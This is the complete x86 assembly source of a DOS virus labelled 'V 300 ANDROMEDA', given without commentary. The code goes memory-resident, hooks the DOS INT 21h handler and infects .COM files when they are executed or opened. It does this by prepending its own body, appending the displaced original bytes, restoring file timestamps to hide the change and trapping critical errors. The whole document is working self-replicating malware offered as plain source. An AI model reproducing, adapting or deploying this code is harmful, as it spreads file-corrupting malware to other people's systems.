;------------------------------------------------------------------------------ ; V 300 ANDROMEDA *.COM ;------------------------------------------------------------------------------ xseg segment Assume cs:xseg xproc proc far dec bp inc bp push ax xor ax,ax mov es,ax mov ax,es:[0535H] cmp ax,454dh jz np ; Resident proc near mov di,535h mov si,100h mov cx,offset len-100h cld rep movsb mov ax,offset int21+435h xchg ax,es:[0084h] mov es:[00c8h],ax xor ax,ax xchg ax,es:[0086h] mov es:[00cah],ax ; Resident endp np: ; NorProg proc near push word ptr ds:[lenpro] db 0eah dw offset norprogm+435h dw 0000h ; NorProg endp NorProgM proc near cld mov di,100h pop si add si,100h lea cx,len-100h push ds pop es rep movsb pop ax mov cs:[p+435h],es db 0eah dw 100h p: dw 0000h NorProgM endp Int21 proc near push ax push bx push cx push dx push di push ds push es cmp ax,4b00h jz sj jmp ji sj: mov ax,offset int24+435h xchg ax,cs:[0090h] mov cs:[o24],ax xor ax,ax xchg ax,cs:[0092h] mov cs:[s24],ax mov ax,3d02h int 32h jc jcr db 93h mov dx,0bfe5h mov ds,dx xor dx,dx lea cx,len-100h mov ah,3fh int 32h mov di,dx mov ax,[di] cmp al,'M' jz j mov ax,4202h xor cx,cx int 32h or ah,ah jz j mov cs:[lenpro+435h],ax mov ax,5700h int 32h push cx push dx xor dx,dx mov ah,40h lea cx,len-100h int 32h mov ax,4200h push cs pop dx xor cx,cx int 32h push cs pop ds lea cx,len-100h mov dx,535h mov ah,40h int 32h pop dx pop cx mov ax,5701h int 32h j: mov ah,3eh int 32h jcr: mov ax,cs:[o24+435h] mov cs:[0090h],ax mov ax,cs:[s24+435h] mov cs:[0092h],ax xor ax,ax ji: cmp ah,3dh jnz pr push ds pop es push dx pop di mov cx,40h mov al,'.' repnz scasb jnz pr xchg di,bx mov ax,[bx] cmp ax,'OC' jnz pr1 jmp sj pr1: cmp ax,'oc' jnz pr jmp sj pr: pop es pop ds pop di pop dx pop cx pop bx pop ax jmp dword ptr cs:[00c8H] Int21 endp Int24 proc near mov al,3 iret s24: dw 0000h o24: dw 0000h int24 endp lenpro dw 0000 Len label byte xproc endp xseg ends end